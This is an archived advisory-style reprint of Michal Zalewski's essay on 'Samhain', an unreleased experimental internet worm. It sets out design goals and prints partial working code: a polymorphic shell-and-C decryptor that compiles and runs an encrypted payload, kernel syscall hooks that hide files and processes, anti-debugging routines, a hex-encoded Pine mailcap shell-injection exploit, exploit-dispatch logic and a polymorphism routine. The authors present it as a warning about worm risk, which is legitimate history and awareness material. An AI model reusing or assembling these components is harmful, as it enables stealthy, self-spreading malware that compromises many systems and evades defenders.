COMMAND

    writting internet worms for fun and profit

SYSTEMS AFFECTED

    most of them

PROBLEM

    Michal Zalewski wrote  following.  Media,  kindly supported by  AV
    "experts",  drawn  apocalyptical  vison  of desctruction caused by
    stupid M$ Outlook / VisualBasic worm, called "ILOVEYOU".  Absurdal
    estimations -  $10M lost  for "defending  the disease", especially
    when you take a look at  increasing with the speed of light  value
    of AV  companies market  shares, made  many people  sick. Lame VBS
    application that isn't even able to spread without luser  click-me
    interaction, and is limited  to one, desk-end operating  system...
    Worm that  sends itself  to people  in your  addressbook, and,  in
    it's original  version, kills  mp3 files  on your  disk.   And you
    call it dangerous?  Stop kidding.

    Over  year  ago,  with  couple  of  friends,  we started writing a
    project,  called  'Samhain'  (days  ago,  on  packetstorm,  Michal
    noticed cute program with  same name - in  fact it's not the  same
    app, just a coincidence).  We  wanted to see if it's difficult  to
    write deadly harmful Internet  worm, probably much more  dangerous
    than Morris's worm. Our goals:

    1: Portability  -  worm  must  be  architecture-independent,   and
       should work on different operating systems (in fact, we focused
       on Unix/Unix-alikes, but developed even DOS/Win code).

    2: Invisibility  -   worm  must  implement    stealth/masquerading
       techniques to hide itself in live system and stay undetected as
       long as it's possible.

    3: Independence - worm must be able to spread autonomically,  with
       no user interaction, using built-in exploit database.

    4: Learning  -  worm  should  be  able  to learn new exploits  and
       techniques  instantly;  by  launching  one  instance of updated
       worm,  all  other  worms,  using special communication channels
       (wormnet), should download updated version.

    5: Integrity - single worms and wormnet structure should be really
       difficult  to   trace  and   modify/intrude/kill   (encryption,
       signing).

    6: Polymorphism  -  worm  should  be  fully  polymorphic, with  no
       constant portion of (specific) code, to avoid detection.

    7: Usability  - worm  should be  able to  realize choosen  mission
       objectives  -   eg.  infect   choosen  system,   then  download
       instructions, and, when mission is completed, simply  disappear
       from all systems.

    With these  seven simple  principles, we  started our  work.  This
    text describes our ideas, concepts and implementation issues.   It
    is NOT the terrorist's handbook, and has not been written to  help
    people to write such piece of code on their own.  It's written  to
    show that very  serious potential risk,  which we virtually  can't
    avoid or  stop, isn't  only hypotetical.   Code provided  here  is
    partial, often comes from  first, instead of most  recent, Samhain
    release and so on.  But remember - working model has been written.
    And this model  is deadly dangerous  engine, which can  be used to
    very, very bad  things.  Probably  we aren't the  first people who
    thought  about  it  and  tried  to  write  it, that's what make us
    scared...   Winter  1998,  three  bored  people  somewhere  in the
    middle of Europe.  Sit and relax.

    1. Portability
    ==============
    This is  probably the  most important  thing -  we don't want code
    that can run only on Windows,  Linux or Solaris, or - worse  - can
    run only on x86.  The task is quite easy to complete if you decide
    to spread your  code in platform-independent  form.  How  could it
    be achieved?  Well, most of systems have C compiler.  So we  might
    spread worm in  source code, with  simple decryptor (let's  say it
    will be shell script).

    But wait, some (not much) systems don't have C compiler.  What can
    we  do?   Using  wormnet,  worm  during  infection might ask other
    wormnet members for compiled  binary for given platform.   Wormnet
    details have  been described  in section  4.   Anyway, binary will
    contain appended source code,  to make futher infections  possible
    within  standard  procedure.   Infection  scheme  is  described in
    section 3.

    First version of our decryptor looked like this:

        const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of="
        "$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if="
        "\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c,"
        "char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]"
        ");write(1,a,i);}\" >$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/."
        "a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c"
        "~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>"
        "/dev/null;test -x \"$0\"&&exec $X~ \"$0\" $@\n";

    It used very simple (per-byte increments) "encryption" for  source
    code  with  custom  increment  value  (decryptor has been modified
    accordingly  to  choosen  value  -  \x01,  \x02, \x03 and \x04 are
    changed by encryptor routine).  Also, this constant decryptor  has
    been every  time re-written  using simple  polymorphic engine (see
    section  6)  to  avoid   constant  strings.  Later,  we   modified
    encryption  routine  to  something  little  bit stronger (based on
    logistic equation number generator in chaotical window) - in fact,
    it only makes it more difficult to detect in inactive form.

    As  you  can  see,  this  decryptor  (or  it's early version shown
    above)  isn't  highly-portable  -  what  if  we  don't  have bash,
    compiler,  gzip  or  such  utilities?  Well, that's one of reasons
    we've  decided  to  join  worms  in  wormnet  - if sent code won't
    connect back to  parent and report  itself, host is  not marked as
    infected, and wormnet is  asked for pre-compiled binary  for given
    architecture  (assuming  we  already  infected  this  architecture
    somewhere in  the world,  and we  had needed  utilities, or  we're
    running the same architecture as infected host).

    NOTE:  For  writting  extremely  ugly  code  that  can run in DOS,
    [ba]sh, csh, perl etc and can be compiled with C in the same time,
    please refer IOCCC archives:

        http://www.ioccc.org

    Sebastian wrote  virus code  that can  spread both  on Windows/DOS
    platform with C  compiler and Unix  systems with no  modifications
    nor  any  interaction.   It  does  cross-partition  infections and
    installs itself  as compiler  trojan (modifying  include files  to
    put evil  instructions in  every compiled  source).   It is called
    Califax  and  has  been  developed  while  writting Samhain, as an
    excercise  to  prove  that  such  cross-system jumps are possible.
    Don't want to include Sebastian's sources with no permission,  all
    (he did  it within  415 lines  of c  code).   Califax hasn't  been
    incorporated within Samhain  project, as we  don't want to  infect
    Winbloze for ideological reasons.

    2. Invisibility
    ===============
    After  breaking  into  remote  system,  worm  not always have root
    privledges,  so  first  of  all,  we  wanted  to  implement   some
    techniques to  hide it,  make it  look-like any  other process  in
    system, and make it  hard to kill until  there's a chance to  gain
    higher privledges (for details  on system intrusion, please  refer
    section 3).   Also, we made  sure it's really  hard to debug/trace
    running  or  even  inactive  worm  -  please  refer  section 5 for
    anti-debug code details.

    Our non-privledged process masquerading code consists of following
    parts:

    - masquerading: walk through  /proc, choose set of  common process
      names and change your name to look just like one of them,
    - cyclic changes: change your  name (and executable name) as  well
      as pid frequently; while doing it, always keep 'mirror' process,
      in  case  parent  or  child  get  killed  by walking skill-alike
      programs

    Our  goal  is  to  make  almost  impossible (with common tools) to
    'catch' process, as all /proc parameters (pid, exe name,  argv[0])
    are  changing,  and  even  if  one  of  them  is  catched, we have
    'mirror'  project.   Of  course,  at  first  we  should avoid such
    attempts by camouflage.   This comment comes  from libworm  README
    for Unices:

        -- snip from README --

        a) Anti-scanning routines

        Following  routines  are  provided  to detect anti-worm stuff,
        like 'kill2' or anything  smarter. You should use  them before
        fork()ing:

        int bscan(int lifetime);

          bscan  performs  'brief  scanning'  using  only  2   childs.
          Lifetime should be set to something about 1000 microseconds.
          Return values:
          0 - no anti-worm stuff detected, please use ascan or wscan.
          1 - dumb anti-worm stuff detected (like 'kill2'); use kill2fork()
          2 - smart (or brute) stuff detected, wait patiently

        int ascan(int childs,int lifetime);

          ascan  performs  'advanced  scanning'  using given number of
          childs  (values  between  2  and  5 are suggested). It tests
          environment  using  'fake  forkbomb'  scenario.  Results are
          more accurate:
          0 - no anti-worm stuff detected (you might use wscan())
          1 - anti-worm stuff in operation

        int wscan(int childs,int lifetime);

          wscan acts like ascan, but uses 'walking process'  scenario.
          It seems  to be  buggy, accidentally  returning '1'  with no
          reason,  but  it's  also  the  best detection method. Return
          values:
          0 - no anti-worm stuff detected
          1 - anti-worm stuff in operation

        int kill2fork();

          This is aletrnative version of fork(), designed to fool dumb
          anti-worm software (use it when  bscan returns 1).    Return
          value: similar as for fork().

        b) Masquerading routines

        These routines  are designed  to masquerade  and hide  current
        process:

        int collect_names(int how_many);

          collect_names  builds  process  names   table  with  up   to
          'how_many' records. This table (accessible via  'cmdlines[]'
          array) contains names of processes in system; Return  value:
          number of collected items.

        void free_names();

          this function  frees space  allocated by  collect_names when
          you don't need cmdlines[] anymore.

        int get_real_name(char* buf, int cap);

          this  function  gets  real  name  of  executable for current
          process to buf (where cap means 'maximal length').

        int set_name_and_loop_to_main(char* newname,char* newexec);

          this function changes 'visible  name' of process to  newname
          (you  may  select  something  from cmdlines[]), then changes
          real  executable  name  to  'newexec',  and  loops  to   the
          beginning of main() function. PID will be NOT changed.   Set
          'newexec' to  NULL if  you don't  want to  change real  exec
          name.  Return value: non-zero on error.

        Note:  variables,  stack  and  anything  else  will  be reset.
        Please use other way  (pipes, files, filenames, process  name)
        to transfer data from old to new executable

        int zero_loop(char* a0);

          this function returns '1' if this main() code is reached for
          the first  time, or  '0' if  set_name_and_loop_to_main() was
          used.   Pass  argv[0]  as  parameter.  It  simply  checks if
          real_exec_name is present in argv[0].

    For  more  details  and  source  code  on architecture-independent
    non-root process hiding  techniques, please refer  libworm sources
    (incomplete for now, but always something):

        http://lcamtuf.na.export.pl/pliki/libworm.tgz

    This  routines  are  weak  and  might  be used only for short-term
    process hiding.  We should  as fast  as possible  gain root access
    (again,  this  aspect  will  be  discussed  later).  Then, we have
    probably the most complex aspect of whole worm.  Advanced  process
    hiding is  highly system-dependent,  usually done  by intercepting
    system  calls.   We  have  developed  source  for universal hiding
    modules on  some systems,  but it  not working  on every  platform
    Samhain  might  attack.   Techniques  used  there  are  based   on
    well-known kernel file and process hiding modules.

    Our Linux 2.0/2.1 (2.2 and 2.3 kernels weren't known at the  time)
    our module used technique  later described in "abtrom"  article on
    BUGTRAQ  by  'riq'  (Sat,  28  Aug  1999  14:40:31)  to  intercept
    syscalls.   Sebastian  wrote  stealth  file  techniques (to return
    original  contents  of  eventually  infected  files), while Michal
    developed process hiding and  worm interface.  Module  intercepted
    open,  lseek,  llseek,  mmap,  fstat,  stat,  lstat, kill, ptrace,
    close, read, unlink, write and execve calls.

    For example, new llseek call look this way:

        int new_llseek(unsigned int fd,unsigned int offset_high,
                       unsigned int offset_low,int *result,unsigned int whence) {
          retval=old_llseek(fd,offset_high,offset_low,result,whence);
          if (retval<0) return retval;
          if (!(file=current->files->fd[fd])) return retval;
          if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode))
            if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN;
          return retval;
        }

    In  this  case,  we  wanted  to  skip  samhain  code loader at the
    beginning of file. is_happy()  function has been used  to identify
    infected files.   Unfortunately, it  also has  to check  length of
    this loader - remember, it's dynamically generated.  This is  code
    from is_happy()  used to  determine this  size from  our decryptor
    routine:

        // Determine where ELF starts...
        file->f_pos=0;
        BEGIN_KMEM
        r=file->f_op->read(file->f_inode, file, buf,sizeof(buf));
        END_KMEM
        // Groah! We have to write out own atoi... Stupido ;-)
        znaki=0;
        while (znaki!=TH && ++v<r) if (buf[v]=='=') znaki++;
        if (znaki==TH) {
          while (buf[v+(++poz)]!=' ' && v+poz<r) mult=mult*10;
          buf[v+poz]=0;
          poz=1;
          SAMLEN=0;
          while (buf[v+poz]) {
            if (buf[v+poz]-'0'>9) { znaki=1;break; } // Format error (!)
            SAMLEN+=(buf[v+poz++]-'0')*mult;
            mult=mult/10;
          }

    Worm isn't spreading across the filesystem widely, so the  problem
    doesn't affect many files -  only some executables called in  boot
    process - to make sure  we're always resident.  Process  hiding is
    quite generic:

        int new_ptrace(int req,int pid,int addr,int dat) {
          x=0;
          buf[20]=0;
          sprintf(b,"/proc/%d/cmdline",pid);
          if (active)
            BEGIN_KMEM
            x=old_open(b,O_RDONLY,0);
            END_KMEM
          if (x>0) {
            BEGIN_KMEM
            read(x,b,1);
            END_KMEM
            close(x);
            if (!b[0]) return -ESRCH;
          }
          return old_ptrace(req,pid,addr,dat);
        }

    Also, we have to hide  active network connections for wormnet  and
    sent / received  wormnet packets to  avoid detection via  tcpdump,
    sniffit etc.  That's it,  nothing uncommon. Similar code has  been
    written for  some other  platforms. See  my AFHaRM  or Sebastian's
    Adore modules for implementation of stealth techniques:

        http://lcamtuf.na.export.pl/pliki/afharm.zip

    3. Independence + 4. Learning
    =============================
    Wormnet.  The magic word.  Wormnet is used to distribute  upgraded
    Samhain  modules  (eg.  new  exploit  plugins), and to query other
    worms for  compiled binaries.   Communication scheme  isn't really
    difficult, using  TCP streams  and broadcast  messages within  TCP
    streams.   Connections  are  persistent.   We  have  four types of
    requests:

    - infection confirmation: done simply by connecting to parent worm
      if infection succeded (no connection == failure),

    - update  request:  done  by  re-infecting  system (in  this case,
      already  installed  worm  verifies  signature  on  new worm when
      receiving request,  then swaps  process image  by doing execve()
      if  requesting  binary  has  newer  timestamp),  then inheriting
      wormnet  connections   table  and   sending  short   request  to
      connected clients, containing code timestamp.

    - update  confirmation:  if  timestamp  sent on update request  is
      newer  than  timestamp  of  currently  running  worm,  it should
      respond  with  'confirmation',  then  download  new code via the
      same  tcp  stream;  then,  it  should verify code signature, and
      eventually  swap  it's  process  image  with new exec, then send
      update request to connected worms.

    - platform  request: by  sending request  to every  connected worm
      (TTL mechanism is in  use) describing machine type,  system type
      and system release, as well  as IP and port specification;  this
      request is sent (with decreased TTL) to other connected  wormnet
      objects, causing wormnet broadcast; first worm that can  provide
      specific  binary,  should  respond  connecting  to  given IP and
      port,  and  worm  that  sent  platform  request should accept it
      (once).    Any  futher   connects()  (might   happen  till   TTL
      expiration)  should  be  refused.   After  connecting,  suitable
      binary should be sent,  then passed to infection  routines. Worm
      should try  first with  TTL approx  5, then,  on failure,  might
      increase it  by 5  and retry  3-5 times,  we haven't  idea about
      optimal values.

    Packets are "crypted" (again,  nothing really strong, security  by
    obscurity) with key assigned to specific connection (derived  from
    parent  IP  address  passed  on  infection).  Type is described by
    one-byte  field,  then  followed  by  size  field  and RAW data or
    null-terminated  strings,  eventually  with  TTL/timestamp  fields
    (depending on type of message).

    Wormnet connections structure looks arbitrary and is limited  only
    by max per-worm connections limit.  Connections are initiated from
    child to parent worm, usually bypassing firewall and  masquerading
    software.

    On infection, short 'wormnet history' list is passed to child.  If
    parent has too many wormnet  connections at time, and refuses  new
    connection, child should connect to worm from the history list.

                  3
                  |
                  |
          3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6
          |     /        |                 |
          |   /          |                 |
          | /            |                 |		Possible wormnet structure.
          1 ------------ 2 ----- 3         6		Numbers represent infection
            \                  /			order. Bottom "3" couldn't
              \              /				for some reason connect to
                \          /                            it's parent and choosen
                  \ ---- 3 ------ 4                     "1" from 'history list'.
                         |
                         |
                         |
                         4

    What  about  exploits?   Exploits  are  modular (plugged into worm
    body), and divided in two sections - local and remote.  We  wanted
    to be  platform independent,  so we  focused on  filesystem races,
    bugs  like  -xkbdir  hole  in  Xwindows,  and  inserted just a few
    buffer overflows, mainly for  remote intrusion (but we  decided to
    incorporate  some  bugs  like  remote  pine mailcap exploit and so
    on...  Code was kind of shell-quoting masterpiece.

    Pine mailcap exploit (it has been already fixed, but in late  1998
    it was something new and nice):

        fprintf(f,"From: \"%s\" <%s@%s>\n",nam,us,buf2);
        fprintf(f,"To: <root@%s>\n",hostname);
        fprintf(f,"Subject: %s\n",top);
        fprintf(f,"MIME-Version: 1.0\n");
        fprintf(f,"Content-Type: multipart/mixed;\n");
        fprintf(f,"\tboundary=\"----=_NextPart_000_0007_01BD5F09.B6797740\"\n\n");
        fprintf(f,"------=_NextPart_000_0007_01BD5F09.B6797740\n");
        fprintf(f,"Content-Type: default/text;\n\t");
        
        fprintf(f,"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x5c\x5c\x5c\x22\x78\x5c"
                "\x5c\x5c\x22\x5c\x20\x3d\x3d\x5c\x20\x5c\x5c\x5c\x22\x78\x5c\x5c"
                "\x5c\x22\x5c\x20\x5c\x29\x5c\x20\x73\x68\x5c\x20\x2d\x63\x5c\x20"
                "\x65\x63\x68\x6f\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x66\x6f\x72"
                "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x69\x5c\x24\x5c\x49\x46\x53"
                "\x5c\x5c\x5c\x69\x6e\x5c\x24\x5c\x49\x46\x53\x5c\x60\x6c\x73\x5c"
                "\x24\x49\x46\x53\x2f\x74\x6d\x70\x2f\x5c\x60\x5c\x24\x5c\x49\x46"
                "\x53\x5c\x5c\x5c\x3b\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x64\x6f"
                "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x73\x68\x5c\x24\x5c\x49\x46"
                "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x5c\x5c\x5c\x24\x69\x5c\x24"
                "\x5c\x49\x46\x53\x5c\x5c\x5c\x3b\x64\x6f\x6e\x65\x26\x3e\x2f\x74"
                "\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x3b\x5c\x73\x68\x5c\x24\x49\x46"
                "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x22\x0A");
        
        // 'encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ sh\ -c\ echo\$\IFS\\\for'
        // '\$\IFS\\\i\$\IFS\\\in\$\IFS\`ls\$IFS/tmp/\`\$\IFS\\\;\$\IFS\\\do'
        // '\$\IFS\\\sh\$\IFS\\\/tmp/\\\$i\$\IFS\\\;done&>/tmp/.KEWL;\sh\$IF'
        // 'S\\\/tmp/.KEWL"'

    Message  body  contained  code  to  be  executed  (shell-script to
    connect,  download  and  run  worm,  then kill any evidence). Yes,
    this exploit sucks - as it required some kind of user  interaction
    (reading e-mail), but is just an example.

    Both  remote  and  local  exploits  are  sorted  by effectiveness.
    Exploits  that  succed  most  of  the  time  are tried first. Less
    effective ones are moved  at the end.   This list is inherited  by
    child worms.

    Oh, spreading.  Victims  are choosen by monitoring  active network
    connections.   With random  probability, servers  are picked  from
    this list and attacked.   In case of success,  server is added  to
    'visited'  list  -  these  are  not  attacked anymore.  In case of
    failure,  server  is  not  attacked  until  new version of worm is
    uploaded.  Of  course,  internal   servers  list  is  finite   and
    sometimes server might  be attacked again  (if it's not  our child
    and it isn't currently connected), but who cares, attempt will  be
    ignored or upgrade procedure will happen, depending on timestamps.
    This code is used to qualify host (obtained from network stats):

        void infect_host(int addr) {
          struct hostent* h;
          int (*exp)(char*);
          int i=0,n=0,max=VERY_SMALL;
          if ((0x7F & addr)==0x7F) return;      // do not touch 127.* subnet :-)
          h=gethostbyaddr((void*)&addr,4,AF_INET);
          if (is_host_happy(h->h_name)) return; // In wormnet?
          for (i=0;remote[i].present;i++) remote[i].used=0;
          while ((max=VERY_SMALL)) {
            n=-1;
            for (i=0;remote[i].present;i++)
              if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; }
            if (n<0) break;
            exp=remote[n].handler;
            remote[n].used=1;
            current_module=n;
            remote[n].hits+=(i=exp(h->h_name));
            if (i>0) break;
          }
        }

    5. Integrity
    ============
    The most important thing in worm's life is not to get caught.   We
    have to be sure it's not easy to trace/debug us - we want to  make
    reverse-engineering  even  harder.   We  don't  want to expose our
    internal wormnet protocols,  communication with kernel  module and
    detection techniques used by  worms to check for  themselves, etc.
    Four things:

        - hide everything: see section 2.
        - hash, crypt, scramble: see sections 1, 4.
        - don't let them caught you: see section 2.
        - avoid debugging even if we cannot hide!

    We    used    several    anti-debugger    techniques,    including
    application-dependent (bugs in  strace on displaying  some invalid
    parameters to  syscalls, bugs  in gdb  while parsing  elf headers,
    ommiting frame pointer, self-modyfing code and so on), as well  as
    some universal debugger-killer  routines called quite  often (they
    aren't really time-expensive).  This is one of them:

        void kill_debug(void) {
          int x,n;
          n=getppid();
          if (!(x=fork())) {
            x=getppid();
            if (ptrace(PTRACE_ATTACH,x,0,0)) {
              fprintf(stderr,
                  "\n\n\n*****************************************\n"
                        "*** I REALLY DO NOT LIKE TO BE TRACED ***\n"
                        "*****************************************\n\n\n");
              ptrace(PTRACE_ATTACH,n,0,0);
              kill(x,9);
            }
            usleep(1000);
            ptrace(PTRACE_DETACH,x,0,0);
            exit(0);
          }
          waitpid(x,&n,0);
          return;
        }

    As told  before, worm  modules were  signed.   First, using simple
    signatures,  then  using  simple  private  key signing (not really
    difficult to crack, as key was relatively short, but for sure  too
    difficult for amateurs).  This made us sure we're going to replace
    our worm image with REAL worm, not dummy anti-worm flare.

    6. Polymorphism
    ===============
    Polymorphic engine was  quite simple -  designed to make  sure our
    decryptor will be  different every time.   As it has  been written
    in  shell  language,  it  was  pretty  easy to add bogus commands,
    insert empty shell  variables, add \  and break contents,  or even
    replace some parts with $SHELL_VARIABLES declared before.  Getting
    original content is  not quite easy,  but of course,  all you have
    to  do  is  to  imitate  shell  parsing  of  this decryptor to get
    original contents, then you'll be  able to identify at least  some
    common code.  Code adding \ to decryptor looks like:

        while (decryptor[x]) {
          switch (decryptor[x]) {
            case ' ':
              if (!rnd(2)) buf[y++]=' '; else goto difolt;
              break;
            case '\n':
              if (!you_can) you_can=1;
            default:
            difolt:
              if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 &&
                   decryptor[x]!='>' && decryptor[x]!='<' && norm>2) {
                buf[y++]='\\';buf[y++]=10;norm=0;
              } else {buf[y++]=decryptor[x++];norm++;}
          }
        }

    7. Usability
    ============
    It's  stupid  to  launch  worm   designed  eg.  to  steal   secret
    information from  specific host,  because we  have no  idea if  it
    will work fine, and won't be caught.  If so, it might be  debugged
    (it's made to be  hard to debug, but,  as every program, it's  not
    impossible to do  it, especially if  you're able to  separate worm
    code).   Instead, we  should be  able to  release 'harmless' worm,
    then, when  we're sure  it accessed  interesting host  and haven't
    been caught,  we might  send an  update, which  will try  to reach
    destination worm, replace  it with our  evil code, then  shut down
    every worm it  can access via  wormnet (by sending  signed update,
    that will send itself to other worms, then shut down).

    Maybe it  isn't the  perfect solution,  but in  fact it's probably
    much safer than inserting even generic backdoor code by default.


    8. What happened then?
    ======================
    That's it, the Samhain project, fit  into approx.  40 kB of  code.
    What happened to it?  Nothing.  It hasn't been ever released,  and
    Michal  never  removed   restrictions  from  lookup_victim()   and
    infect_host()  routines.  It's  still  lying  on  his  hard drive,
    getting covered with  dust and oblivion,  and that's extacly  what
    he wanted.

SOLUTION

    Nothing.   One  day  perhaps  someone  will  finish  this idea (or
    already has) and there'll be hell out there.